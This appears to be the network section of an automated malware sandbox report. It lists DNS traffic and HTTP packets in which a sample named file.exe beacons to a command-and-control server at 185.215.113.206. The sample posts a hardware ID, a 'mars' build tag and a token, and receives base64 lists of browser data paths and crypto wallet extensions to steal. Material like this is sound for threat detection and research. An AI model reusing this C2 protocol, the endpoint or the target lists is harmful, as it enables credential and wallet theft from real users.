Nov 12, 2024 17:07:46.191893101 CET	192.168.2.6	1.1.1.1	0x119b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.192173004 CET	192.168.2.6	1.1.1.1	0x4691	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:46.192703009 CET	192.168.2.6	1.1.1.1	0xe52b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.193001032 CET	192.168.2.6	1.1.1.1	0xa99e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 17:07:46.218760014 CET	192.168.2.6	1.1.1.1	0x8a0f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.227459908 CET	192.168.2.6	1.1.1.1	0x3197	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 17:09:16.377954960 CET	192.168.2.6	1.1.1.1	0x3543	Standard query (0)	fleez-inc.sbs	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:27.996360064 CET	192.168.2.6	1.1.1.1	0x804a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.014264107 CET	192.168.2.6	1.1.1.1	0xb0f3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 17:09:28.017184019 CET	192.168.2.6	1.1.1.1	0xb5a7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.017302990 CET	192.168.2.6	1.1.1.1	0x12e7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 17:09:28.017832994 CET	192.168.2.6	1.1.1.1	0x6ee7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.017940998 CET	192.168.2.6	1.1.1.1	0x4efd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 17:07:30.944684982 CET	1.1.1.1	192.168.2.6	0xa58b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 17:07:30.944886923 CET	1.1.1.1	192.168.2.6	0x65b7	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:35.724704981 CET	1.1.1.1	192.168.2.6	0xb942	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:35.724704981 CET	1.1.1.1	192.168.2.6	0xb942	No error (0)	plus.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:35.724945068 CET	1.1.1.1	192.168.2.6	0xa5fa	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:36.723797083 CET	1.1.1.1	192.168.2.6	0x8590	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:41.721682072 CET	1.1.1.1	192.168.2.6	0x2729	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:41.722004890 CET	1.1.1.1	192.168.2.6	0xe770	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:41.811881065 CET	1.1.1.1	192.168.2.6	0x9666	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:41.811881065 CET	1.1.1.1	192.168.2.6	0x9666	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:41.813606977 CET	1.1.1.1	192.168.2.6	0x6e40	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:42.964847088 CET	1.1.1.1	192.168.2.6	0x6b8e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:42.965471983 CET	1.1.1.1	192.168.2.6	0x1b6a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.462901115 CET	1.1.1.1	192.168.2.6	0x8523	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.462901115 CET	1.1.1.1	192.168.2.6	0x8523	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.225	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.463349104 CET	1.1.1.1	192.168.2.6	0x47be	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.562731028 CET	1.1.1.1	192.168.2.6	0x106a	No error (0)	sb.scorecardresearch.com		18.245.60.72	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.562731028 CET	1.1.1.1	192.168.2.6	0x106a	No error (0)	sb.scorecardresearch.com		18.245.60.76	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.562731028 CET	1.1.1.1	192.168.2.6	0x106a	No error (0)	sb.scorecardresearch.com		18.245.60.53	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.562731028 CET	1.1.1.1	192.168.2.6	0x106a	No error (0)	sb.scorecardresearch.com		18.245.60.107	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:44.594044924 CET	1.1.1.1	192.168.2.6	0x71e9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.598877907 CET	1.1.1.1	192.168.2.6	0x8f0c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.602210045 CET	1.1.1.1	192.168.2.6	0x635c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.602900982 CET	1.1.1.1	192.168.2.6	0xe91f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.607753038 CET	1.1.1.1	192.168.2.6	0x52ad	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:44.608403921 CET	1.1.1.1	192.168.2.6	0xa9ca	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:46.146918058 CET	1.1.1.1	192.168.2.6	0xb630	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:46.146918058 CET	1.1.1.1	192.168.2.6	0xb630	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.198992014 CET	1.1.1.1	192.168.2.6	0x119b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.198992014 CET	1.1.1.1	192.168.2.6	0x119b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.199204922 CET	1.1.1.1	192.168.2.6	0x4691	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 17:07:46.199676991 CET	1.1.1.1	192.168.2.6	0xe52b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.199676991 CET	1.1.1.1	192.168.2.6	0xe52b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.199690104 CET	1.1.1.1	192.168.2.6	0xa99e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 17:07:46.226075888 CET	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.226075888 CET	1.1.1.1	192.168.2.6	0x8a0f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.234345913 CET	1.1.1.1	192.168.2.6	0x3197	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 17:07:46.555061102 CET	1.1.1.1	192.168.2.6	0xfef	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:46.555061102 CET	1.1.1.1	192.168.2.6	0xfef	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.564362049 CET	1.1.1.1	192.168.2.6	0xa40	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:46.564362049 CET	1.1.1.1	192.168.2.6	0xa40	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:46.565567017 CET	1.1.1.1	192.168.2.6	0xb9f6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:47.582402945 CET	1.1.1.1	192.168.2.6	0x20fd	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:47.583132029 CET	1.1.1.1	192.168.2.6	0xaa85	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:47.583132029 CET	1.1.1.1	192.168.2.6	0xaa85	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:49.614330053 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:49.614330053 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:50.613533974 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:50.613533974 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:51.627530098 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:51.627530098 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:53.629286051 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:53.629286051 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:07:57.642040014 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:07:57.642040014 CET	1.1.1.1	192.168.2.6	0x53e0	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:16.418667078 CET	1.1.1.1	192.168.2.6	0x3543	No error (0)	fleez-inc.sbs		104.21.0.123	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:16.418667078 CET	1.1.1.1	192.168.2.6	0x3543	No error (0)	fleez-inc.sbs		172.67.150.243	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.003079891 CET	1.1.1.1	192.168.2.6	0x804a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.003079891 CET	1.1.1.1	192.168.2.6	0x804a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.021480083 CET	1.1.1.1	192.168.2.6	0xb0f3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 17:09:28.024195910 CET	1.1.1.1	192.168.2.6	0x12e7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 17:09:28.024986982 CET	1.1.1.1	192.168.2.6	0xb5a7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.024986982 CET	1.1.1.1	192.168.2.6	0xb5a7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.025001049 CET	1.1.1.1	192.168.2.6	0x6ee7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.025001049 CET	1.1.1.1	192.168.2.6	0x6ee7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:09:28.025012970 CET	1.1.1.1	192.168.2.6	0x4efd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	2100	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 17:07:22.047039986 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 17:07:22.935875893 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 17:07:23.305569887 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 30 46 44 33 38 41 37 46 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 2d 2d 0d 0a Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="hwid"E20FD38A7F9D1524750037------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="build"mars------EBAAAFBGDBKKEBGCFCBF--
Nov 12, 2024 17:07:23.593411922 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 45 34 59 32 4d 78 59 6a 4e 6c 4e 6a 4d 32 4f 54 59 34 4d 7a 46 6b 59 32 51 33 5a 6d 4a 6c 4d 7a 63 35 59 7a 4e 6a 4e 57 52 69 4e 47 55 33 4d 6a 45 30 59 32 4d 33 59 7a 41 32 5a 6a 45 77 59 32 55 77 4d 54 6b 30 4e 7a 46 6b 4e 57 59 78 4e 6a 51 77 4e 44 41 35 4e 6a 6c 6a 4d 7a 6c 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmE4Y2MxYjNlNjM2OTY4MzFkY2Q3ZmJlMzc5YzNjNWRiNGU3MjE0Y2M3YzA2ZjEwY2UwMTk0NzFkNWYxNjQwNDA5NjljMzlhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 17:07:23.594657898 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"browsers------GCGIDGCGIEGDGDGDGHJK--
Nov 12, 2024 17:07:23.871946096 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 17:07:23.872000933 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 17:07:23.873399019 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 38 63 63 31 62 33 65 36 33 36 39 36 38 33 31 64 63 64 37 66 62 65 33 37 39 63 33 63 35 64 62 34 65 37 32 31 34 63 63 37 63 30 36 66 31 30 63 65 30 31 39 34 37 31 64 35 66 31 36 34 30 34 30 39 36 39 63 33 39 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"fa8cc1b3e63696831dcd7fbe379c3c5db4e7214cc7c06f10ce019471d5f164040969c39a------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"plugins------EBGIDGCAFCBKECAAKJJK--
Nov 12, 2024 17:07:24.150602102 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 